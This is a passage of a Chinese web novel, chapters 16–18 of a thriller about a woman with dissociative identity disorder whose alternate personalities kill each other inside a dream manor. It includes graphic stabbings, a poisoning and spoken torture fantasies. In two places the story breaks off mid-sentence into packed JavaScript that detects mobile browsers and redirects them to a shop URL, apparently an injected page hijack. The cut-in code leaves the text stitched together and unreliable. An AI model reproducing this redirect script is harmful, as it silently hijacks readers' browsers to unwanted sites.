“走进庄园的人居然是斯文这个副人格……而我居然没有发现,放任她在里面度过了将近一周的时间。不过好在是斯文,她是个小说家,把这一切当成梦、素材,这才没酿成大祸。” 温月摇摇头:“正如孙招娣判断的那样,她的病情越来越严重,已经到了控制不了人格的危险时期。所以我没有时间再去构造一座不同的庄园,更没有时间去想如何隐瞒陈成医和Silas。” “只能用欺骗的方式,先把他们哄进去,可惜还是被他们看出来了,是我的失职。” “孙招娣是目前为止我接手最特别的一个患者,我为她准备了一套很缜密的方案。如果一切失败了,这个身体就会被陈成医或者Silas占领,到时候孙招娣这个人就不存在了。” “想想看,身体的主人不存在了,转而变成了两个心狠手辣狡猾诡异的人,那么这个身体的最终结局也不会有好下场。他们只会给社会造成危害。” 元笑点点头:“我明白了,我会尽力帮助孙招娣。” 温月手持摇铃,微笑:“辛苦了,现在,我送你回去。” 元笑转头看向窗外,有白鸽从对面房顶飞过。 太阳挂在天际,被云层挡住半个身子。 她知道,这将是她最后一次看到真实的人间。 接下来,她将永远回归于黑暗。 恋恋不舍地闭上双眼,温月轻柔的声音在耳畔响起。 “你现在身处在墙上那幅欧式别墅中,别墅里有很多树,花园里还有各式各样的花朵,夜晚的天空繁星闪耀,暖黄色地灯亮起……” 铃铃铃…… 元笑睁开眼,发现自己重新回到了庄园。 还是在树林最深处,风吹动树叶发出簌簌声响,她垂眸看见自己纤细白皙的双手。 再用这双手丈量自己的腰围,抚摸自己的脸。 又是自己了,她又做回18岁的元笑了。 蚊子落在脚腕和袜子中间露出的一小节皮肤上,她没有驱赶,静静地看着蚊子饱腹后惬意飞走。 元笑走出树林,站在别墅门前,漠然地看着眼前的一切。 这一次,不用再逃命了。 16. 正版 别墅里。 Silas手里拿着一杯红酒,脚下就是孙伶聪的尸体,鲜血黏腻的流淌,融入地毯之中,也黏在Silas的鞋底。 他晃了晃酒杯,沉声道:“我们很久没这样单独相处了,这段时间你一直在躲着我,除了气我未经允许占用你的身体之外,是不是还觉得愧对于我?” 孙招娣的视线从孙伶聪凄惨的脸上移开,转而看向Silas: “温月已经告诉你了,最后只有你会被留下,可你不相信,那我有什么办法?” Silas冷冷地看孙招娣,他从没有用这样的眼神看过自己的爱人,像是在看个背叛者。 “我问的是,你是不是觉得愧对于我?” “我从没觉得愧对你,”孙招娣看着他,“反倒是你没经我允许就出来了。” Silas 说:“如果我不出来,怎么会知道家里多了个书柜,书柜上多了至少五十本心理学书籍,每一本都和精神分裂、心理学有关。如果不是你极度渴望杀了我,又怎么会有陈成医的诞生?” “因为人太多了,我控制不住他们,”孙招娣说,“所以必须要消除几个。” Silas平静道:“但以前,你一有烦恼就会告诉我,你需要我的开解,需要我为你解决烦恼。而不是购买那些废话连篇的书。” Silas失望地摇头:“你长大了,不需要我了。” 孙招娣说:“如果我告诉你这件事,那么现在经历的一切都会提前发生。你会不惜一切代价找到那些人格,进行一场残忍的杀戮。我不希望事情发展的这么血腥恐怖。” “是不希望,还是舍不得?” Silas问,“你是不是舍不得他们?” 孙招娣闭上眼睛:“他们是我的朋友,我的亲人。” “但他们不听你的话了,”Silas摊手:“所以我帮你,更快更高效。” 孙招娣指着地上孙伶聪的尸体:“当着我的面杀了我的亲人,你说是在帮我?” “该不会真把他当成你弟弟吧?”Silas微笑,一脚踩在孙伶聪的头上,“你就是这么重感情。难道忘了因为孙伶聪,你多挨了多少顿打吗?” “但他已经死了,现在这个孙伶聪,并不是我弟弟……” Silas抬手,打断了她的话:“是不是无所谓,重点是他因你亲弟弟而诞生,是你的执念,那么他就要还你亲弟弟欠你的债。” 孙招娣说:“可分明有更好的方式,你为什么要把一切变得这么恐怖?” “因为我不能容忍那些人占有你的身体,”Silas直勾勾地看着她,“我早就想见秦北了,可你一直不给我机会。” Silas双腿交叠,食指轻轻地敲着膝盖,回忆: “那天是我第一次见到他,一场剧本杀游戏,他几乎要成为主导者。盲目的自信,拼命把自己的愚蠢暴露在大众面前,还以为自己是真性情。” “我不明白为什么你会喜欢上这种人,难道仅仅因为那张脸?也无法理解为什么他得到了你的喜欢却不珍惜,反而还变本加厉地伤害你。” “所以那天我就躲在浴室里,和他仅有一帘之隔。”Silas毫无温度地笑了两声,“你知道他看见我的瞬间,五官都被吓得错了位。如果不是因为元笑就在浴室外,我一定要替你报仇,把你受过的委屈加倍还给他。” “我会在他活着的时候,把他的皮一寸一寸剥下来,就像他纵容别人一页一页撕毁你的书那样。我还会将他的舌头用剪刀剪断,竖着剪,剪十刀,然后一条一条扯下来,因为我不喜欢听他自以为是的分析,我还要把他的心脏——” “不要再说了,”孙招娣闭上眼睛,抱着肩膀,“我很害怕。” “抱歉,我忘记你是个善良的人。”Silas抬了抬眉,结束了自己的畅想。 “这个男人战斗力太弱,他抓着我的衣服慢慢滑下去,躺下之前是跪着的。”Silas强调,“跪在我面前,再一点点躺下去。” “他懦弱、无能,连基本的反应能力都没有,我白白做了那么多准备,”Silas冷笑一声,“杀他的过程一点也不爽,妈妈死之前至少还会用指甲抓伤我的手腕,秦北连半丝还击的能力都没有。你不该喜欢他。” 孙招娣闭了闭眼,说:“关于秦北,我跟你说过的,那只是我高中时的执念。后来发生了那些事,早就消磨我对他的情感。如果我一直喜欢他,你也不会诞生了。” Silas盯着她,双眼如同尖锐的钩子: “亲爱的这不是重点,重点是一想到你曾经喜欢过别人,我就觉得身体像是着了火。纵火的人就是秦北。如果我不杀他,他就要烧死我。” 孙招娣问:“那其他人也得罪你了?” “死一个和死一群又有什么区别呢?多死一个你就健康一点。” Silas起身坐在孙招娣面前,捧起她的脸,轻轻抚摸她的面颊:“反正只剩下元笑和陈成医了,等我解决掉他们两个之后,这件事就过去了。” 眼看孙招娣在犹豫,Silas像平时那样轻吻她的嘴角,额头抵着她,沉声问:“还是你觉得陈成医能够救赎你,打算让我消失,余生让陈成医陪着你?” 孙招娣摇头:“没有。” “那么你会告诉我,陈成医躲在哪里了对吗。” “……我的房间,柜子里有个暗格。”孙招娣闭上眼睛。 Silas微笑,轻拍她的手背:“让那个善良的元笑在花园里多逛一会儿吧,我先杀了陈成医再去解决她。” Silas走上楼,脚下的血迹也缓缓消失。 很快,孙伶聪的尸体也不见了。 孙招娣双手掩面,疲惫感油然而生。 没一会儿,身后突然传来脚步声,她回头一看。 “元笑,”孙招娣起身,一见她的表情就猜到发生了什么,问,“你见到温月了吗?” 元笑点头。 孙招娣牵着她的手带她走进厨房,小心锁上门,低声告诉她:“现在的情况是,Silas以为最终是我和他会活下来,陈成医也觉得最终是我和他活下来。但我想要的是……” 她突然看到元笑脸上的疲惫,愧疚到说不出接下来的话。 元笑则平静至极,用看淡一切的语气开口:“最终只会留下你一个人。温月都告诉我了,我会尽量帮你杀掉其他人……包括我自己。” “元笑,我很抱歉让你知道自己的命运,”孙招娣的眼眶湿润了,“我真的很羡慕你。” “高中时,很多人都喜欢秦北。我知道自己配不上他,所以没有对任何人说过我对他的感情。” 当年,孙招娣把空间设置成了仅自己可见。 每一条说说都表达了对秦北的爱慕。 她把冒险偷拍下秦北的照片上传到了空间相册,也小心谨慎地设置成了私密相册。 可没料到却因为误点了群里同学发送的链接,导致账号被盗。 孙招娣这个人,从听到名字的一瞬间就能预测到她的一生。 再加上臃肿的身材,极少讲话的性格,在班级里几乎是被人忽略的存在。更因为这糟糕的名字,让人多了几分同情。 可就是这样一个人,空间里居然全都是学校的风云人物,秦北。 那一晚,犹如炸弹在深水中爆炸。 就像慈善家捐款捐□□,真面目是变态杀人魔; 乞丐得到施舍却不知感恩,还想把别人赶出家门占有别人的房子。 一个命运低落到尘埃里的人,需得心服口服才有被大众怜悯的资格。 肖想越界也是罪大恶极。 第二天一早,孙招娣刚到学校就被人指指点点,还没等走到班级,那个爱传话前几天刚被校外混混要了钱的小个子同学就跑到面前,笑着说:“我们都看见你空间了!” 孙招娣犹如坠入冰窟。 秦北猖狂又不可一世,他可以被学习好的喜欢,学习不好的喜欢,长得漂亮的喜欢,长得差一点的喜欢……唯独不能被那个全校最丑、最胖、最黑、最奇怪叫‘招娣’的女生喜欢! 这不是彰显他魅力的标志,这是溅在他白鞋上的烂泥! 她的喜欢让他蒙羞,比抽在脸上的巴掌还要难堪。 自那天开始,孙招娣的书莫名其妙丢失,等找回来时上面已经写满了辱骂的词语。 英语书的每一个abqp上的洞洞都被涂黑,书上人像的牙齿也都被涂黑,画成恐怖的鬼脸。 每次走出班级和其他人擦肩而过时,都会得到讽刺的笑意。但因为秦北说了任何人不能把他的名字和孙招娣放在一起,所以大家只敢通过眼神对视,无声的霸凌。 孙招娣本想忽视这些,可好好地走着,头发突然被用力扯了一下。 校服背后被人撒上墨水,宽阔的走廊有人迎面而来,偏偏撞上她的肩膀,还要揉着肩膀装作很痛,讽刺她像是一座石墙。 学习成绩也从此一落千丈,连老师都不给她好脸色。 有一次没带卫生巾,其他人不肯借她,只有一个人帮她解了燃眉之急。 元笑。 听说秦北在高调追她。 孙招娣以为这又是个恶作剧,她不敢接,但元笑只放下后真诚地告诉她:“记得还我哦!” 那年同学之间流行过这么个说法,借了卫生巾一定要还,不然会把对方的生理期给借走。 孙招娣第二天就买了卫生巾还给元笑,元笑接过去放进书包还对她说了声谢谢。 随即又问:“我昨天还想着等晚上再给你拿一个,但是忘记了,不知道你够不够用?” “够用的,”孙招娣点头,不敢和她澈明的眼睛对视,“谢谢你。” “不用客气,其实我是想跟你说秦北那个人脾气不太好,人又好面子,”元笑微笑,“我已经跟他说了,他这样做很不礼貌,我替他跟你道个歉,以后也不会有人再针对你了。” 突如其来的关怀让孙招娣招架不住,她连连摆手:“没事没事。” 元笑微笑:“谢谢你的不计前嫌。” 将一切痛苦咽进腹中,突然觉得秦北配不上这么好的元笑。 但很快又觉得,他们才是天作之合。 因为从前耀武扬威的秦北,只有在元笑面前才变得软声细语,会排长队给她买饭,哄她说甜言蜜语…… 再后来,真的没有人再欺负孙招娣了。 元笑和秦北如影随形,她陪他打篮球,他陪她吃早午饭。 …… “然后,高三就结束了,我也不喜欢秦北了,毕竟没有人会喜欢一个霸凌过自己的人。” 孙招娣长叹一口气,说:“我说的羡慕你,并不是羡慕你能和秦北在一起。我羡慕你能让一切不美好变得美好。” 像是天生拥有治愈技能的人,洗净身边所有污浊戾气。 那些阴暗的、龌龊的,通通都可以放在太阳底下,元笑自然会帮助净化。 但凡是靠近她的人,都会变得善良、快乐。 犹如黑夜一盏明灯,总能照亮别人的路。 元笑眨了眨眼,问:“所以我……其实在现实世界活得也很好?” “一定会很好,你那么善良,肯定会过得很好。”孙招娣微笑,“三十年过去了,如果秦北还有幸和你在一起,想必他也脱胎换骨,成为好人了。” 提到秦北,元笑的眼睛又湿润了。 “希望现实世界的元笑能够过得安稳、顺遂。” 说完她走到刀具前,菜刀拿在手里颠了颠觉得太重,餐刀又太轻。 最终拿起了一把水果刀藏在袖子里,说: “我没办法跟两个男人硬碰硬,要想杀了他们只能趁其不备。” 孙招娣犹豫道:“你可以吗?下的去手吗?” “下不去也要下,这是我唯一能为你做的事,”元笑眨了眨眼,扯出一丝苦笑,“真没想到我的一生居然是你的幻想,既然如此,那也就没有努力的意义,早早结束对我来说是了结痛苦。” 孙招娣心痛道:“你是我内心最后一块净土,如果没有你,我的病恐怕会更加严重。” 元笑主动伸出手,与孙招娣相握。 “那就祝你早日康复,也祝我早点见到秦北。” 厨房门打开,元笑先一步往出走,突然一道身影出现在眼前,还不等她反应过来,钻心的痛袭遍全身。 她垂眸,只见胃部多了一把匕首,刀刃部位已经刺进自己的身体。 眼前的人正是带着淡淡笑容,眼神从容不迫的Silas。 他不是近视。 正是因为一直戴着眼镜,才导致眼干,所以才会经常滴眼药水。 好会伪装的骗子。 全都是骗子。 一如对待孙伶聪那样,Silas握着刀把手慢慢地旋转。 但很快,他的笑容也僵在脸上。 因为元笑也将藏在袖口的水果刀刺进他的身体里。 Silas不可置信地看着身体里流出的血迹,怒火犹如火山爆发。 他不顾自己痛,一手按着元笑的肩膀,另一手反复将匕首刺进她的身体里。 一刀又一刀,鲜血飞溅,直到元笑躺在地上一动不动。 “还在笑,你死了还在笑!我应该先杀你再杀秦北!” Silas想冲上去继续补刀,但被孙招娣一把推倒在地:“Silas你疯了!” 剧烈的痛苦蔓延全身,Silas躺在地上愤怒地低吼:“你骗我,陈成医没在你房间,暗格里根本就没有人!” 孙招娣说:“腿长在他身上,他知道你要杀他,难道还会等在原地吗?” “我也是这样猜测的,所以想先帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743221|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你解决元笑,然后再解决陈成医……”Silas捂着伤口,阴森道,“可却听见你们商量着要杀我。” 孙招娣把元笑抱在怀里,对方在弥留之际,紧紧攥着她的衣袖。 “对不起,我,我没用……” 孙招娣用力摇头。 安抚道:“很快就不痛了。” “对不起元笑,谢谢你元笑……” 再见了,元笑,我年少时期的月光。 几秒过后,元笑彻底失去生机。 又过了一段时间,属于元笑的一切彻底消散。 地上只剩下那袋橙汁粉,剧本杀游戏里的道具,秦北先找到的交给了元笑,元笑保存到了现在。 泪水划过脸庞,孙招娣捡起那袋橙汁粉攥在掌心,按着地面起身。 Silas靠在沙发边,满头大汗,进他腹部的水果刀随着他的呼吸上下浮动。 鲜血一丝丝流走,这是Silas第一次觉得周身发冷,他虚弱道:“兰花……你真的不再需要我了,要杀了我吗?” 孙招娣的脚步滞住。 …… 高考前期,爸妈吵着要离婚。 这么多年每次不管什么原因吵架,话题最终都会变成儿子死的早,否则日子就有盼头了。 爸爸怪妈妈生下个病弱体质的儿子,妈妈骂爸爸在孕期时没给她买补品导致营养缺失。 两个人最终都会把气撒在自己身上。 那天晚上,孙招娣顶着脸上的巴掌印,和心中一道道言语伤疤泪眼婆娑躺在床上。 校园暴力的伤害远不及家庭暴力的万分之一。 如果我的世界是一本小说就好了,那样就会有个人在最关键时刻出现了。 孙招娣闭着眼睛想: 他一定是个脾气阴晴不定,只是浅浅看一眼爸妈,就能吓退他们。 他的年纪比我大一些最好了,是国外留学归来的学生。 见过很多世面,可以帮我摆平一切困扰,他会温柔地握住我的手,对我说一切有他,什么都不用怕。 他最好对我有强烈的占有欲,厌世但因为我而与世界僵持。 不会嫌弃我的长相和身材,在他心中我无论什么样子都是世界上最完美的人。 他是世界上最爱我的人。 我想为他取个很符合性格的名字。 …… 于是就在那一晚,Silas这个人格诞生了。 因为有他在,孙招娣每次受了委屈或是不公平的待遇,总是会对他倾诉。 他是她的避风港,是这世界上唯一一个爱她的人。 他在锁骨上纹了她的名字:My Sun 即象征着孙招娣,也象征着太阳。 孙招娣就是Silas的太阳。 这是一生一世的烙印。 某天,Silas说:“你为我取了名字,那我也给你取一个。” 孙招娣总会在书本扉页上画一株兰花,她最喜欢兰花。 Silas又建议她:“不如连姓氏一起改掉,孙家不爱你,为什么要姓孙?” “那姓什么?” “‘金’,象征富饶,大多数指的都是高贵、稀缺之物,很配你。” Silas抚摸锁骨上的纹身,说:“而且太阳也是金色的。” “金兰花……金兰花……”孙招娣念了好几遍自己的新名字,喜笑颜开:“等我上了大学,有了经济来源,就去改名字!” …… 此刻,孙招娣看着虚弱的他捂着伤口,痛到满头大汗的样子,眼泪倏地落下来。 其实除了元笑之外,Silas也是自己的救赎。 如果元笑是博爱、是大爱,那么Silas就是自私的爱。 没有人不想要独一份的爱。 元笑是受伤时轻轻吹在伤口上的风,Silas则是专治受伤的药。 孙招娣蹲下,又笨拙地用手支撑着坐在地上。 她轻轻掀开Silas的衣摆,观察水果刀刺进去的伤口。 刀刃刺进身体一半,还有一半染了血色,鲜血一滴一滴往地毯上落。 “你不会杀我的,”Silas按着伤口,问孙招娣,“你会杀人吗,你知道把刀子捅进一个人的身体里是什么感觉吗?” 孙招娣闭了闭眼:“我去找东西帮你包扎一下。” 她按着膝盖起身,去另一个房间找到了医药箱,摇铃声突然响起。 是温月。 孙招娣朝大门跑去,白光晃过双眼,她醒了。 温月仔细地看着她,缓缓将手电筒拿开。 孙招娣揉了揉惺忪的双眼:“123.” 温月舒了口气:“谢天谢地,我终于把你喊出来了!” 她迫不及待地问:“现在剩几个了?元笑还活着吗?” 孙招娣摇了摇头,无力地把脸埋进掌心,声音闷闷的:“还剩下Silas和陈成医。” 温月沮丧叹道:“元笑没成功……那你打算怎么做?” “我口渴,”孙招娣沙哑着嗓子说,“你可以把我的保温杯拿过来吗,就在我的背包里。” 温月马上起身,打开孙招娣放在桌上的背包。 刚拿出去保温杯,就在不锈钢杯子的倒影中发现孙招娣已经起身,正站在自己身后。 温月意识到不对劲,迅速转身将保温杯砸了过去,但却被孙招娣一把攥住手腕,同时也拿着她的手电筒狠狠砸在温月头上! 温月顿感头晕目眩,及时扶住墙才勉强站稳,颤抖着嗓子问:“你是谁?!” ‘孙招娣’歪了歪脑袋,声音阴冷:“你得罪了谁,我就是谁。” “你是Silas。” 一股热流从温月头顶滑下来,好在是医用手电筒又细又轻,否则Silas这一下一定会把自己砸死。 “看来你也知道你所做的一切都是在跟我挑衅了。” Silas眯了眯眼睛,宽厚的身躯挡住了室内本就昏暗的灯光,一步一步朝温月走近。 他弯腰捡起地上的保温杯,掂量着重量。 最多三下,就能把这个女人的脑壳砸出一个洞来。 温月无力地靠在墙壁上,退到角落里:“你,你要做什么?” “梦里杀人还是不够刺激,所以我想用你来练练手。”Silas平静开口。 温月头晕目眩:“你要让孙招娣替你坐牢吗?” “一个精神严重分裂的病人,怎么会负法律责任呢?”Silas盯着孙招娣的脸,勾了勾唇,目色毫无波澜,“我会拿着你亲手为她写的病历,来给我自己做无罪证明。” 看着温月就像在看一只落难的流浪猫,生死就在他一念之间。 “况且,是你先要杀我的。” 话毕,Silas高举保温杯,猛地朝她头顶砸下去! 17. 正版 电光石火间,温月偏头躲开,沉重的保温杯砸在她的锁骨上。 剧痛席卷,温月痛得尖叫一声,大喊:“孙招娣!” 只见孙招娣愣住,肩膀一颤,随即丢掉保温杯急道:“你怎么受伤了!123,我刚刚又回到庄园了,是谁来了?”说着就要将她扶起来。 “是Silas……”温月还没等说完,又见孙招娣的手猛地顿住。 眼中的焦急极速褪去,神色放空左右环顾,目光落在保温杯上。 等‘她’捡起保温杯后,又后退几步,神色痛苦地攥住头发。 孙招娣痛哭道:“我控制不了他!!救我!” 话音刚落,嘴角勾勒出冷漠地弧度,沉声质问道:“你们想过河拆桥,我为你们做了这么多,竟然想要杀了我。” 很快又是一颤,双手不安地摇摆,愧疚又着急:“不,不!温医生救——” 下一秒,嘴角又咧起,眼神戏谑带着一副看好戏的样子,用力拍手鼓掌:“哈哈哈哈哈哈哈,美丽又令人羡慕的温博士,我看戏实在忍不住了……哈哈哈哈哈哈哈……你怎么变得这么狼狈?” “陈成医?” “你能杀的了Silas这个棘手的家伙吗?如果你求求我,我也可以帮你杀掉他,就像我杀掉斯文那样。” 转瞬又是阴鸷到令人窒息的脸色:“温月,你越界了。只要我杀了你,就再也没有人敢拆散我们了。” “温医生……救我……我没办法控制他……” “滚开你们两个,让我先说!温博士,你知道我是怎么杀掉斯文的吗?” “这是你自寻死路。” “仅仅用了一刀,我就割破她的喉咙哈哈哈哈哈……” “你去死吧!” “手术刀真好用啊,我要拿下心理学专家,然后再去做可以手术的医生!我也要治病救人,比你更优秀!” “救我……” 孙招娣的脸犹如戴了面具一般,几秒钟就会换一种神态和语气,Silas和陈成医不断和她争夺这个身体。 温月勉强支撑着自己的身体起身,在这副身体暂时属于孙招娣时,绕到房间另一侧的沙发后面,和她保持一定距离。 她扯了厚厚一沓纸扣在头顶伤口部位止血,另一只手拿起摇铃,说:“Silas,孙招娣根本不想伤害我。” Silas浅浅勾唇:“我的爱人善良,她不会伤害任何人,包括我。是你教唆她的,是你把她带坏了——” 孙招娣急道:“温医生,你快走——” Silas瞪眼:“是你要对我赶尽杀绝,我对兰花那么好,你却要拆散我们!” “我要让她恢复健康!”温月扬声,“你却想要她永不康复,你是在害她!” Silas嘴角勾起一抹讽刺的笑意,声音确实不容置疑的强势: “躲得再远又能怎么样,这个房间也不是坚不可摧,我会把兰花的保温杯插进你的头顶,要把你的大脑完整地掏出来,然后一勺一勺地品尝。” 眼看Silas一脚跨过沙发朝自己而来,温月用力摇动手中的铃铛。 孙招娣本人即刻抢占身体,她从沙发上滑下来摔倒在地:“打晕我!温医生,你打晕我!” “温月,我杀了你!” 温月并没有失去理智,而是弯腰躲过致命一击,捡起保温杯用力砸到孙招娣头上。 在对方意识朦胧瘫倒在地时,手忙脚乱把电脑上链接的线固定在对方身上:“闭上眼睛,幻想你现在正站在别墅之中……” 手中的摇铃重新有了节奏,孙招娣的意识逐渐朦胧,再一睁眼重新回到别墅中。 …… Silas腹部的伤口流血不止,能帮他止血的工具在金兰花手中。 金兰花缓缓走过来,面对着他席地而坐。 Silas勾起苍白的唇角,镇定地说:“你第一次杀人时,会因为慌乱而忘记看对方的表情。” “但刀柄处会传来他的颤抖,你怕血液会喷涌而出,所以拼了命的握住刀柄,越是用力触感就越强烈。” “你能感觉到血液流动的方向,你清楚看见一个人的眼神从有神到无光,你看着他在地上抽搐,绝望地伸出手向你求救……” 孙招娣紧紧攥着纱布,看Silas慢慢抬起带着血迹的手,覆盖在她的脸上也没有阻拦。 Silas说:“兰花,你不敢杀人,你也不会杀我,对吗?” 孙招娣指尖抹去他鼻梁上的血迹,说:“不如我们一起死。” 这句话完全出乎Silas的预料,他足足愣了几秒钟,问:“你要把身体让给陈成医?” “让给他又能怎么样,反正我也不在乎了。” 孙招娣倾身,将额头抵在Silas的肩膀上,视线下方就是元笑刺进他身体里的那把刀,鲜血正一小股一小股地涌出。 她闭上眼睛,哽咽回忆: “高三压力最大的那一年,你出现了。在我最无助时,是你给了我活下去的动力。” “你告诉我,人要变得强大,只有自己强大才不会被人欺负。还要有主见,有思想,有格局。格局用来承受失败和不可避免的烦恼。格局越大,人生就越快乐……” “Silas,我一直在学习,一直在向你学习。” Silas笑了一声,胸腔震动牵引着伤口痛,虚弱道:“我们相爱了29年,你有很大的进步。” “谢谢你这么多年的陪伴,下辈子希望能够在现实中和你相遇,”孙招娣抬头与他对视,呼吸灼热,“我爱你。” Silas缓缓闭上双眼,此刻的赴死之心大过于求生的慌乱。 他想,如果真的可以和兰花一起死,这一生也算值得。 脑海里开始如同走马灯一般,闪过很多曾经和兰花在一起的画面。 她在夜半时分窝在自己怀里哭泣; 自己写下便利贴放在桌上,叮嘱她上学、上班要带的东西,等再醒来时,就能看到她在便利贴下面的回复; 他们一起在细雨中漫步,等雨大了一起跑回家…… 就在这时,Silas感到剧烈的痛! 低头一看,原本刺进腹中一半的水果刀已经尽数没入身体。 握着刀把的那只手,正是兰花。 “对不起,我想做个正常人。”孙招娣哭得浑身颤抖,却依旧没有迟疑,拔出刀后再次狠狠刺入他的身体。 “你一直在骗我!”Silas怒火中烧,声音带着破碎的愤怒,他低吼着要站起来,可孙招娣继续刺了第三刀。 她不忍心去看Silas,一刀又一刀,泪如雨下不断说着:“对不起对不起……对不起……” 痛感越来越剧烈,视线也越来越模糊。 他望着爱人,听着她的哭声,这才恍然好像很久没有见到她哭了。 刚在一起那段日子,孙招娣天天以泪洗面,Silas最不喜看到心爱的人哭泣。 到此时此刻依然如此。 他能感受到生命流逝得速度变快,爆发的气焰也被孙招娣的眼泪浇熄。 他不想释怀,心却早就臣服于爱人。 或许,这就是命。 绷着最后一口气,他覆盖住孙招娣紧攥着水果刀的手: 咬紧牙关吞下接连不断涌出的血液,贪婪地望着爱人,一字一句道:“他们都不配死在你手里……只有我,我才是,被你亲手杀死的人。” 孙招娣抱着Silas坐在血腥味扑鼻的客厅里,面无表情地看着窗外。 不知过了多久,天亮了。 光放肆洒进客厅,为每一件家具渡上一层金色。 偌大的客厅里,只剩她一个人。 夹杂着愧疚和解脱的眼泪无声从孙招娣眼眶中滑落,楼上却传来轻快的脚步声。 “哦吼!”陈成医愉悦地走下来,拍拍手赞许道,“你做到了。” 孙招娣冷眼瞥他。 陈成医指着自己的鼻子:“这种眼神似乎是在告诉我,你下一个要杀的人是我?” 停顿一下,他的笑容加深:“别白费心思了,你杀不了我。我是这些人里唯一一个懂医术,能自医的人。我也和你一样熟悉这座别墅里的一切,并且从现在开始,到你醒来之前,我会和你保持安全距离。” 孙招娣没有理会他,按着地面艰难地站起身。 她揉了揉手腕,去厨房拿了两片面包,狼吞虎咽地吃。 陈成医倚在厨房门对面的柜子前,嫌弃地摇摇头:“啧啧,孙招娣,你的吃相能好看点吗?” 孙招娣梗着脖子吞下面包:“我的吃相不也是你的吃相吗?” “所以我才要劝你,”陈成医抬起手,“慢一点,小口一点,而且你已经很胖了,饿两顿死不了,保持适当的饥饿感才能延缓寿命,我可不想还没有成为专家就先得了三高糖尿病……” “你不是能自医……咳咳咳……”孙招娣还想再说什么,一块面包屑钻进嗓子眼里,引发一场剧烈地咳嗽。 眼看她面颊通红,急着抠嗓子眼,陈成医看不下去,倒了杯水不轻不重扔到她面前:“赶紧喝!” 孙招娣一口喝下去大半杯,总算缓解痛苦。 她深呼吸了几口,捂着心脏大喘气,她后怕道:“我体会到濒死之前的痛苦了。” 陈成医抬了抬眉:“有幸生活在现实世界里的人,却不珍惜自己的生命。以后我会监督你,减肥锻炼阅读工作,一样也不能少。” 孙招娣问他:“接下来你打算做什么?” “多买一些关于心理学的书,未来三年里我要阅读所有心理学基础,以及进阶书籍,”陈成医信誓旦旦道,“然后再去上学,考取学位。” “那你就对温医生客气点,”孙招娣说,“她是过来人,能为我们提供帮助,还可以少走些弯路,毕竟我年纪也大了。” 陈成医本来不把温月放在眼里,但孙招娣今年已经48岁,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“正合我意,现实中你可没有这么华丽的别墅给我住。我现在要回房间享受一下早晨的时光,再睡一觉,等醒了就开始学习。” 陈成医拿着橙汁上了楼,站在楼梯向下望,得意地说:“不用对我动什么心思。放心,你杀不了我。” 孙招娣沉沉地盯着陈成医的背影,目送他上了楼。 烧了一壶水,静静地等待水开。 十几分钟后,不急不缓地给自己倒了杯水,慢慢往楼上走。 楼上的嘈杂闷响声音也传到耳中,陈成医自己的房间有一道反锁程序,一旦反锁只能从里面打开。 这是他对温月提出的要求。 为的就是在最后关头防止孙招娣杀了他。 这一点,在前几天大家探索庄园时,没有被任何人发现。 孙招娣刚走到门口,房门就被慌乱地打开。 只见陈成医摔倒在地,死死抠着脖子,仿佛颈部有一条麻绳,勒的他满脸通红。 陈成医额角的青筋暴起,气息破碎,断断续续地挤出来一段话:“你说过你会留下我的,你说过要留下我!” 孙招娣垂目,开水冒出的热气笼罩她的双眼。 陈成医一只手抠着脖颈,另一只手死死抠着地砖缝隙,艰难地向前挪了一段距离:“你说过让这个身体只有我们两个人。” 每一个字都裹着窒息的颤音,陈成医百思不得其解,强拖着自己的身躯,攥住孙招娣的裤脚:“怎么……做到的……?” 如果温月真有能在梦中杀人的本事,也不至于大费周折把他们所有人都聚集到这座庄园里。 可孙招娣又是怎么做到的? 脚下突然踹到了什么,玻璃滚过地面的声音传到耳中,是杯子。 橙汁……对了,那杯橙汁! 难道那杯橙汁有问题? 不对,不会的! 这座庄园里的一草一木他都清清楚楚,没有任何下毒的物质。 孙招娣和温月也不可能偷偷商量,因为无论孙招娣做了什么都瞒不过他。 “你猜的没错,”孙招娣说,“就是那杯橙汁。” 陈成医觉得眼前发黑,但依旧用尽力气嘶吼着:“不可能!你们骗得了谁也骗不了我。” “我们没有骗你,是光明正大。”孙招娣沉声道,“剧本杀的道具,能杀死真凶的橙汁。” 陈成医恍然。 他咬紧牙关:“原来,你们早就有计划……” “我们没有这样的计划,是你狂妄自大,忘了这个设定。” 孙招娣皱眉:“这橙汁本来就是剧本杀结束后,第二天早上给大家喝的。每人只喝一点,然后所有人都会毫无痛苦地进入梦境,再从梦境里消失。” 孙招娣一脚踢开陈成医的手,扬声道:“是你把这件事告诉了Silas,还对他说谎,利用他、诱导他杀了秦北和其他人!” 18. 正版 孙招娣想明白了,从前的Silas虽说对别人毫无同情心,但对自己却是百依百顺。 哪怕再不如意,最终也会遵从自己的意愿。 能让他下定决心背叛,一定是陈成医提前泄密。 Silas知道自己体内的所有人格,但从未和他们见过面。 尽管他几次提起想要见见秦北,可因为自己不同意,他也没有用过特殊的手段达成目的。 唯有这一次,他杀疯了眼。 孙招娣怨恨地看他:“是你欺骗了Silas,用半真半假的消息,骗的他杀了所有人!” 陈成医的嘴唇已经变成黑紫色,可他却忽然笑了起来,喉咙里发出阴森的‘呵呵呵’声音……混着含糊不清的话:“是他蠢……” 孙招娣:“是你狠毒!” “我只不过告诉他,你想杀了他……和秦北在一起……他居然就相信了……呵呵呵……”哪怕已经缺氧到浑身发颤,他眸中的怨毒依旧不改,“我毒的过你吗?” 他断断续续地说:“我之所以存在……不就是因为你想要消灭其他人吗……如果你一开始就没有这个想法,我也不会存在!” 